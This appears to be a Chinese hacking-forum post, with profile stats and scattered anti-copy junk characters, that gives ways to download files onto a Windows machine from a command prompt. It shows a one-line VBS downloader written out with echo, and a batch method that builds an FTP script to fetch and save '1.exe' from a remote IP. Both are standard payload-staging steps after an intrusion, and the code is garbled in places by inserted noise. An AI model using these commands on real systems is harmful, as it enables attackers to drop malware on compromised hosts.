- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
2 b- {2 U$ ^9 F% s7 B1.iget.vbs一次写入 6 v; u! z9 I) t
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 0 b4 @! v* ~# w+ `: k% y. ^3 _
( |3 F/ K/ T1 {8 T/ D) i- eSet x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 $ i9 ?% n q' K. D- I6 ~
; _! I _, ^" P9 H) `这样我们可以一次echo成功,echo版本:
8 M1 _- D! t6 ^$ E! }, k- x' [# f: o4 p, M+ a H! J N0 A
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
7 e$ A& D3 {; c4 N1 ~ T/ a1 O
8 ]* ?0 l3 Y1 w- p% A5 ?- j7 P
z9 Y' e/ V- p, E0 }2.bat调用ftp脚本的写法(by envymask) " A1 @# ?7 B) X7 Z! G
$ {/ q. Q7 G# O4 d( o
echo ftp>1.vbs " }1 }1 [# J, y4 U }+ g7 U( e: N
echo open ip>2.vbs ! m$ K# U ^/ u3 Q
echo u>3.vbs ' r% a! x( M# r9 n3 ]1 k# p
echo s>4.vbs - p" X0 d/ T% A2 L
echo binary>5.vbs
( I' a, c! O/ Z3 z x; _* }echo get 1.exe>6.vbs
7 r$ v) n5 G+ V& K0 r6 H% Cecho bay>7.vbs
3 G: R. k2 X! S( a) d6 H# Q% x( L8 ^ r/ u& T
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
# b) m- E' F! u2 h9 J</P> |
zan
|